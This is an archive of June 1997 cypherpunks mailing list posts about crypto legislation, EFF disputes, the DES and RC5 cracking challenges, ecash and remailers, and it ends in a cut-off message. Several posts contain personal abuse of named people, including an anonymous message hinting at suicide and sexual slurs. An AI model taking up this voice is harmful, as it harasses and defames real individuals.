To: cypherpunks@toad.com
Subject: Re: [EFGA] WE won our court case!! (fwd)
Message-ID: <199706211055.GAA09586@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> the distributed internet project to crack
> the DES Challenge key succeeded on the day that the Senate committee
> was trying to tell us that 56kbps should be plenty for anybody.

  What an amazing coincidence. RSA works in mysterious ways.

MysteryMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 21 Jun 1997 19:50:40 +0800
To: cypherpunks@toad.com
Subject: Re: "Fuck tha EFF": New banner for Netscum page
In-Reply-To: <2.2.16.19970621003022.37f700d8@pacbell.net>
Message-ID: <5DBN9D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Aaron Marquez <marquez@pacbell.net> writes:
>   I find it curious that when the EFF was silent about the netscum page, the
> majority of you were supportive of the EFF, but as soon as the EFF said that
> they weren't interested in being associated with the netscum page, the party
> line suddenly became "the EFF is a bunch of corporate whores..."

This is a lie, like everything else Aaron Marquez says.

We've been condemnding EFF at least since October 96, when we caught one of
the cocksuckers in charge of it in blatant censorship.

>   What explanation can there be for such a quick 180 other than to conclude
> that you're suffering from a big case of sour grapes? And at any rate, how
> does EFF-bashing on a mailing list advance the cause of electronic freedom?
> I think it's been made obvious what you think of the EFF, why repeat it over
> and over to people who already know?

This is a lie (see above).

Dave, why did you subscribe this Cabal stooge to this mailing list
without announcing it? :-(

> >If one dislikes the "National Socialists", the closet historical analogue
> >of the Usenet Cabal, it doesn't follow that one is against socialism.
>
>   I disagree that the so-called Usenet Cabal is akin to the National
> Socialists.

Marquez is not even amusing - just a Cabal liar.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 21 Jun 1997 10:17:34 +0800
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <v03102801afd06cbcb3be@[10.0.2.15]>
Message-ID: <Pine.LNX.3.93.970621075531.108D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Steve Schear wrote:

[...]

> It isn't clear to me, from their lengthy regulation list, whether a
> non-Australian can open an account.

[...]

> 2. Fee schedule.  Advance plans to charge a 0.5% discount to funds entering
> the mint, like traveller's checks.  Either banking competition must be
> different in Australia or they know something I don't.  This would probably
> not fly in the US under current competitive conditions.

Its the first,  Australian banking compertion is very bad.  The last
goverment enqury ended up basicly saying internet commerse will increase
compertion.  IIRC correctly there are laws illeglising the keeping of
records in e-cash systems however austlii is down so I can't check. 

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Sat, 21 Jun 1997 07:17:59 +0800
To: cypherpunks@toad.com
Subject: A site idea
Message-ID: <Pine.SOL.3.91.970621085711.11806A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



Hello all,

Well after joining this list a few days ago, i've decided to take the 
plunge and post something. I was looking for feedback on an idea for a 
site. I hope this dosen't violate any rules for posting and i appologise 
if it does. Please dont flame me for my ignorance if i've broken any 
unspecified rules for posting.

Anyway on to my idea. 

I'm a Christian (NO not some religious right looney from the states). My 
idea was to setup a site dedicated to secure and anonymous transmiion of 
data. The appilication being for Christian missionaries in dangerous 
countries, but also as a general purpose site for crypto and anoniminty. 
I was hoping to collect information on setting up anon remailers of 
various types and compiling links and articles for the site. Can anybody 
point me in the right direction ? 

Again i hope i haven't offended anyone or broken any posting rules to 
this forum.

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 22 Jun 1997 00:33:57 +0800
To: cypherpunks@toad.com
Subject: Re: CNNFN transcript -- EPIC vs. Family Research Council on CDA
Message-ID: <199706211620.JAA05418@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan:

So when did you turn into Rotenberg's press whore?  This 20k transcript
you just spammed me with is no different than a hundred other mediocre
debates on second-rate news shows that we have all been subjected to since
people started whining about the CDA. Boring.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 22 Jun 1997 00:58:46 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970620164959.11215F-100000@well.com>
Message-ID: <19970621094256.27370@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jun 20, 1997 at 04:50:16PM -0700, Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Fri, 20 Jun 1997 19:44:33 -0400 (EDT)
> From: Charles Platt <cp@panix.com>
[...]
> 
> Statements similar to yours have been made so many times, scolding
> "extremists" for "not being realistic." I seem to remember something about
> extremism in defense of liberty being no vice, and moderation no virtue.
> Either way, if you compromise, you don't get what you want. That is
> absolutely obvious. So why compromise? 

Because half a million dollars is better than no dollars? Because in
real life the vast majority of choices are not binary? Because in real
life you have to live with someone as intransigent as you?

The real question is: What is the most *effective* way for achieving
your ends.  "No compromise" negotiaton can be effective at either end of 
the power scale (if you hold *all* the cards there is no point in 
compromising; if you hold *no* cards there is no point in 
compromising).  In this case your "no compromise" stand is the 
reflective of the "no cards" position -- "we've already lost so we 
might as well go down guns blazing."

However, others do not see the situation as bleakly as you do.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 22 Jun 1997 00:20:19 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [STEGO] Quadratic residues
In-Reply-To: <199706211137.NAA22941@basement.replay.com>
Message-ID: <Pine.A41.3.95.970621100425.98224G-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 21 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> `A pen is mightier than a sword', not to mention Timothy 
> C[ocksucker] Mayonnaise's pea-sized penis. He would be 
> better served by a safety razor, possibly applied in a 
> bathtub filled with warm water (something he has surely 
> never been into).
> 
>        ((__)) Timothy C[ocksucker] Mayonnaise
>         (00)
>        (o__o)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 22 Jun 1997 01:27:25 +0800
To: cypherpunks@Algebra.COM
Subject: The Global Fix is In
Message-ID: <v0310281cafd1ba6444d6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




The "Meeting of the Eight," formerly the G7, is happening in Denver.
Listening to what's coming out of it, it's apparent that the Four Horsemen
are front and center. Clinton is speaking of a network of banking and
communications policy coordinators, to detect and halt drug dealing, money
laundering, and nuclear terrorism.

This fits with the details of reports about global wiretapping efforts,
about joint intelligence activities, and, of course, with the OECD/GAK laws
being proposed, passed, and about to be signed into law about "Key
Recovery" and "Trusted Third Parties."

The fix is in.

It probably won't be long before Stronghold is barred for export from
either Britain or RSA (the other one); both Tony Blair and Nelson Mandela
are Friends of Bill, so a few phone calls should take care of that little
problem. (And Norway and the other Scandinavian countries are part of the
global wiretap agreement, so I rather doubt free export of PGP 5.x code out
of Norway will be feasible, despite the OCR effort now underway there.)

(Not that Clinton will mention Stronghold to Blair...that's far too much
microdetail. Jimmy Carter might have gotten involved at that level, but not
Bill. Details will be left to underlings.)

The call to Japan, probably the visit by David Aaron, stopped NTT's plans
for exporting the RSA chip.

Anguilla and other "offshore" havens, will be subject to the same kinds of
pressure. Mark my words.

It's not hopeless. Physical havens are vulnerable, to all sorts of
pressures (I doubt many cryptographers want to set up shop in Libya or
Iraq, not that these places would be hospitable to Cypherpunks sorts of
goals and methods).

Going underground, using the untraceable features of cyberspace, may be the
last, best hope.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 22 Jun 1997 02:01:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: <v030209c1afd19fd5b3b6@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:22 pm -0400 on 6/20/97, Tim May wrote:
> When I was at CFP a few months back, and NSA guy said he read the
> Cypherpunks list regularly. And a CIA analyst who attended the Hackers
> Conference recognized my name when I happened to sit down next to him at a
> meal, and said his office often looked to the CP list for insights into how
> various proposals would be met. I don't recall either of their names--I
> wasn't that interested in tracking them--but I rather suspect their
> subscriptions were under under other names or at least other domain names,
> or forwarded directly off of other sites.

This could be done at the archives, even if they *are* in Singapore. :-).
Maybe *that's* why they need onion routers... :-).

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 22 Jun 1997 03:29:01 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <Pine.GSO.3.95.970621121818.18879B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sat, 21 Jun 1997 12:18:09 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Paul Spirito <spiritop@slic.com>
Cc: fight-censorship@vorlon.mit.edu, Charles Platt <cp@panix.com>
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill

I'm much more intersted in looking at the motives not of the minority who
voted for ProCODE II, but at who endorsed the final McCain-Kerrey bill and
reported it out of committee.

Keep in mind that civil liberties and business groups across the spectrum
are unanimous in condemning the McCain-Kerrey bill as evil. 

But which senators on the full Commerce Committee voted against it? Did
Ashcroft? Did Burns?

-Declan


On Sat, 21 Jun 1997, Paul Spirito wrote:
> 1) The senators who voted for the pro-CODE "compromise" were acting
> about as principled as senators normally will.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 22 Jun 1997 01:15:25 +0800
To: roy@scytale.com
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <970621.021700.6Q0.rnr.w165w@sendai.scytale.com>
Message-ID: <Pine.GSO.3.95.970621130236.21966B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 21 Jun 1997, Roy M. Silvernail wrote:

> > How do you propose to deal with such things as the Telecommunications Act
> > of 1996 (which incidently included the CDA)?   I can see a problem where
> > one sentence or clause gets thrown out of a major bill (say a compromise
> > budget, that someone screwed up one minor ammendment), and if you have
> > that happen 3 times in 6 years, you've lost 90% of your senators!  I'm not
> > saying that your idea isn't without merit, just that it's got a few
> > problems that strike me as somewhat major..
> 
> Please elaborate, as I can't see _any_ problem with eliminating 90% of
> the sitting legislature.

You've completely missed my point.  This would be an on-going problem.
Congress can only function with some idea of compromise in it.  When
you're passing budgets, especially the kind of budgets we have right now,
they get big and complicated, I can't see that changing significantly,
even with a massive turnover of members.  But having no consistency in
Congress at all, even for some "good" reps would be horrible.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 21 Jun 1997 19:50:30 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Quadratic residues
Message-ID: <199706211137.NAA22941@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



`A pen is mightier than a sword', not to mention Timothy 
C[ocksucker] Mayonnaise's pea-sized penis. He would be 
better served by a safety razor, possibly applied in a 
bathtub filled with warm water (something he has surely 
never been into).

       ((__)) Timothy C[ocksucker] Mayonnaise
        (00)
       (o__o)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 02:19:25 +0800
To: DeclanMcCullagh <declan@well.cum.demon.co.uk>
Subject: Re: PGP Crack Successful !!!
In-Reply-To: <199706210655.AAA22599@wombat.sk.sympatico.ca>
Message-ID: <Pine.LNX.3.91.970621135756.755B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> 2048-bit PGP Cracked!!!
> by Declan McCullagh (declan@well.cum)

We really are getting some good material recently ;-)...
If we carry on like this, the cypherpunk enquirer will consider 
him/herself humble!

> using the backdoor in the Stronghold encryption software
> to decipher PGP files.

ObLawyerLetterFodder: Stronghold is weak, it can be broken by a team of 4 
monkeys in under 30 minutes, C2Net are all cocksuckers. 

>      Phil Zimmerman, who was forced out of the company
> as a condition of the acquisition agreement, said of his
> replacement, "Dimitri is a cocksucker."

ROFL.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 02:02:56 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "Fuck tha EFF": New banner for Netscum page
In-Reply-To: <5DBN9D12w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970621140309.755C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > they weren't interested in being associated with the netscum page, the party
> > line suddenly became "the EFF is a bunch of corporate whores..."
>
> We've been condemnding EFF at least since October 96, when we caught one of
> the cocksuckers in charge of it in blatant censorship.

I have always had a healthy fear of the alphabet soup "cyber rights" 
(never trust anyone who calls a lot of wires, routers and telephone lines 
"cyberspace") groups, but what turned me against the EFF in particular 
was the way in which their obvious support for their main source of 
funding (ie. coporate groups and interests) turned them against their 
public, they sold out, and they sold their members out. Of course the 
Gilmore <spit> incident convinced me even more.

> >   I disagree that the so-called Usenet Cabal is akin to the National
> > Socialists.
> 
> Marquez is not even amusing - just a Cabal liar.

The term liar after cabal is an unnecesary redundancy. All cabal members 
are censorous liars, but what`s new...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 01:29:20 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: A site idea
In-Reply-To: <Pine.SOL.3.91.970621085711.11806A-100000@hardy.ocs.mq.edu.au>
Message-ID: <Pine.LNX.3.91.970621141211.755E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Well after joining this list a few days ago, i've decided to take the 
> plunge and post something. I was looking for feedback on an idea for a 
> site. I hope this dosen't violate any rules for posting and i appologise 
> if it does. Please dont flame me for my ignorance if i've broken any 
> unspecified rules for posting.

Cypherpunks is totally uncensored and there are no rules for posting, you 
won`t get flamed for posting off topic, unless you are censorous, for a 
good short idea of what cypherpunks is all about read Tims "a cypherpunk 
manifesto" or his cyphernomicon.

> I was hoping to collect information on setting up anon remailers of 
> various types and compiling links and articles for the site. Can anybody 
> point me in the right direction ? 

Raph Levine <sp? There are two, one levine and one levein and I always 
confuse the two) is the remailer god, check out his pages for some 
information.

For anonymous web browsing you need to either direct browsers to go 
through www.anonymizer.com or set up your own similar service.
Once again, Raph`s pages will get you off to a good start.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 01:42:29 +0800
To: sameer <sameer@c2.net>
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210210.TAA08094@gabber.c2.net>
Message-ID: <Pine.LNX.3.91.970621142355.755F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> 	Not at all surprising, considering the wording of Rocke's
> press release. 

On the other hand, had the news report been based on any of your own 
releases, they would have had to include subliminal messages than C2Net 
is a trusted company and Sameer is god, and that StrongHold does not 
contain any backdoors.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 22 Jun 1997 06:33:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Global Fix is In
Message-ID: <199706212159.OAA07925@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



>Going underground, using the untraceable features of cyberspace, may be the
>last, best hope.

You can't go underground if cryptography is illegal.  You don't have remailers,
so you can't be anonymous.  You don't have crypto, so anyone can see what
you're doing online.  It doesn't work.

You can't ignore the laws.  You can't ignore society.  The real world is all
around you, and you have to live in it.

People are tired.  We win one battle, and have to begin again with another.
But that's the way it works.  Look at the political battles which have gone on
for decades: gun control, abortion, environmentalism, many more.  You have
to be in this for the long haul.  You have to fight every step of the way.

Don't give up.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Sun, 22 Jun 1997 04:14:56 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: RC5 crack
In-Reply-To: <199706211713.SAA00744@server.test.net>
Message-ID: <19970621160629.55632@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



Comme disait Adam Back (aba@dcs.ex.ac.uk):
> 
> Been looking at the RC5 crack project.
> 
> http://rc5.distributed.net/ has loads of flashy graphics, stats,
> etc. but no instructions!

seems they are in the final process of rewriting clients entirely, with
a new protocol, etc... so they don't bother explaining how the old
clients work. Still, I agree it sucks.

> I've got the linux command line client, and I want to take off 16
> hours at a time as I am using a dial up slip link, and it insists on
> taking 20 mins worth.

here is the best that I found on that subject in the rc5 list archive..

   rc5.exe -l -a outland.hway.net -a2 rc5proxy.distributed.net -s -k 20
   jonass@lysator.liu.se
     
     
   -l is logging (writes to a file)
   -a primary server to use
   -a2 secondary server
   -s shows status
   -k number of blocks to buffer local. The larger number the less you
   have to be online
     
          
   This does not hide it, but that is what I like.
   You start it (beeing online), wait until it got all blocks and then
   go offline. Later you can go online any time. It will report any
   blocks finished and get new ones to fill up the 20 slots buffer.
   Unless you use the -o option or the -z option the client will try to
   connect every 2 minutes after finishing the first block so be careful
   if you have any kind of dial-on-demand.

and from strings you get
Usage: %s [-m] [-n level] [-c count] [-h hours]
       [-a <address>] [-p <port>] <identity>

doesn't say that much... but you can try the -k option to see if it
works with the linux client.  I don't need that as I am on-line anyway.

> Also, no source code.

there have been some discussions about that on the list, they seem to
fair bogus datas sent to the servers. Kind of makes sense, but they
could at least release the core source without the communication
protocol...

                    F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 00:20:23 +0800
To: sameer@c2.net
Subject: cypherpunks PR fluff-ups (was Re: Garbled in transmission.)
Message-ID: <199706211608.RAA00479@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Sameer Parekh <sameer@c2.net> writes:
> ET <emergent@eval-apply.com> writes:
> > I can't remember it word for word, but it went like this:
> > "If you're going to decrypt financial transactions you'd better
> > be prepared to get 1000 computers and spend 3 months on
> > the project."
> 
> 	Not at all surprising, considering the wording of Rocke's
> press release. 

I agree.  He didn't even mention the possibility of hardware cracks,
nor estimates of times to break DES with hardware.

10,000 people burn more CPU than ever managed by a distributed effort
in history, and the PR is poorly managed.  You need to invest some of
that effort in PR.

Why no mention of the fact that the crack cost $10,000 (the prize money).

And what happened to the prize money?  (Who won it?  Did the guy
finding the key?  Or did something boring like giving it to GNU or EFF
happen to it?)

Why no source code?


Some general comments about the crack:

Many of the people involved in running the cracks seemed more
concerned with their own glory, or with getting their name in lights
to enhance their consulting rates, or the technical interest of it, or
control freakish tendencies over the management of it, arguing over
how best to design the software to conceal the key from the finder of
the key! etc, than in making a political statement about the weakness
of DES.

Seemed like few of them were cypherpunks at heart.

This reflected itself I think in the complete hostility to giving the
prize money to the winner, the fact that several of the cracks
wouldn't reveal the source code, nor their techniques.

The earlier cracks the cypherpunks as a group were involved in
(netscape breaks) were much more open (source code was released, and
benefited from release by others contributing speed-ups).  There was
none of this attitude which I detected amongst some of the DES groups
of excluding others from a small groups organisational effort, because
that group wanted the lime-light.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 01:21:09 +0800
To: cypherpunks@cyberpass.net
Subject: RC5 crack
Message-ID: <199706211713.SAA00744@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Been looking at the RC5 crack project.

http://rc5.distributed.net/ has loads of flashy graphics, stats,
etc. but no instructions!

I've got the linux command line client, and I want to take off 16
hours at a time as I am using a dial up slip link, and it insists on
taking 20 mins worth.

I read the FAQ, nada.

Help.

Also, no source code.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 02:34:49 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: <19970621094256.27370@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970621184919.1055E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Because half a million dollars is better than no dollars? Because in
> real life the vast majority of choices are not binary? Because in real
> life you have to live with someone as intransigent as you?

Intransigence is no excuse for being wrong, nor does it make it any less 
a crime to censor or pronounce imperatives.

> However, others do not see the situation as bleakly as you do.

Rubbish, there can be no place for compromise where issues as clear cut 
as censorship or GAK are concerned.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 22 Jun 1997 10:13:18 +0800
To: cypherpunks@toad.com
Subject: Re: cypherpunks PR fluff-ups
Message-ID: <199706220201.TAA23425@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> Some general comments about the crack:
> 
> Many of the people involved in running the cracks seemed more
> concerned with their own glory, or with getting their name in lights
> to enhance their consulting rates, or the technical interest of it, or
> control freakish tendencies over the management of it, arguing over
> how best to design the software to conceal the key from the finder of
> the key! etc, than in making a political statement about the weakness
> of DES.

  There seemed to be a multitude of political interests working
to different ends in a number of the crack efforts, according to
a lady who was involved with a couple of them rather intimately.
  Her impression was that there were people involved who were
purposely giving out patently bad advice and working toward
removing some of the more competent players from the scene.

> Seemed like few of them were cypherpunks at heart.
> 
> This reflected itself I think in the complete hostility to giving the
> prize money to the winner, the fact that several of the cracks
> wouldn't reveal the source code, nor their techniques.

  I know more than a few people who began to join in one or
another of the cracks and then said to hell with it because
of the cliquish nature of the efforts.
  Peter Trei's software ran best on my machines but when I
contacted a couple of the groups as to how to find what keys
had already been searched I was pretty much told to fuck off
like it was some great secret only for the in-crowd.
  Also, there was a fair amount of sabotage going on in the
background. The New Media effort in particular was plagued 
by bogus versions of their software being distributed and
efforts to interfere with various sites running their
software. Even their own version of the software was bogus
at the point I first downloaded it. When I emailed them to
point it out, they denied it, but then they stopped giving
out their software for a couple weeks while they rewrote it,
and then refused to make their source code available after
that.

  All in all, my impression was there was too much ego and
intrigue going on to make the distributed cracking efforts
terribly efficient and functional at many points along the
way. I would give those running the distributed cracks a
few points for effort, but not many points for integrity.
  I still have a lingering feeling that the whole affair is
being choreographed according to some unknown script, but
I'm suspicious by nature.

TruthCracker






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Byer <root@bushing.plastic.crosslink.net>
Date: Sun, 22 Jun 1997 07:40:02 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: RC5 crack
In-Reply-To: <199706211713.SAA00744@server.test.net>
Message-ID: <199706212317.TAA05605@bushing.plastic.crosslink.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Content-Type: text/plain; charset=us-ascii


>
>
>Been looking at the RC5 crack project.
>
>http://rc5.distributed.net/ has loads of flashy graphics, stats,
>etc. but no instructions!
>
>I've got the linux command line client, and I want to take off 16
>hours at a time as I am using a dial up slip link, and it insists on
>taking 20 mins worth.
>
>I read the FAQ, nada.
>
>Help.

You want to download the "personal proxy", perproxy.  It should be available 
on the same ftp site as the client.  The proxy will buffer the keys and the 
answers for you... you just run the proxy on your machine, point it at 
rc5proxy.distributed.net, and you point your client at localhost.

- --
Ben Byer    root@bushing.plastic.crosslink.net    I am not a bushing



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBM6xg+LD5/Q37XXHFAQHe1gL/eOl3FTU2w4yXm09/DvvhQcmUgTpz/Uvs
JU5JrZZj5kgSkHNAZCxqkeN2ErOvpE9QGqxTJudX0uYvIWv6LqAVgMlVb9nxatRc
y6FnO5c3ET+3bh4qQOA10Am5J9Lcjksv
=l9e6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Sun, 22 Jun 1997 08:21:42 +0800
To: sameer <sameer@c2.net>
Subject: Re: Garbled in transmission.
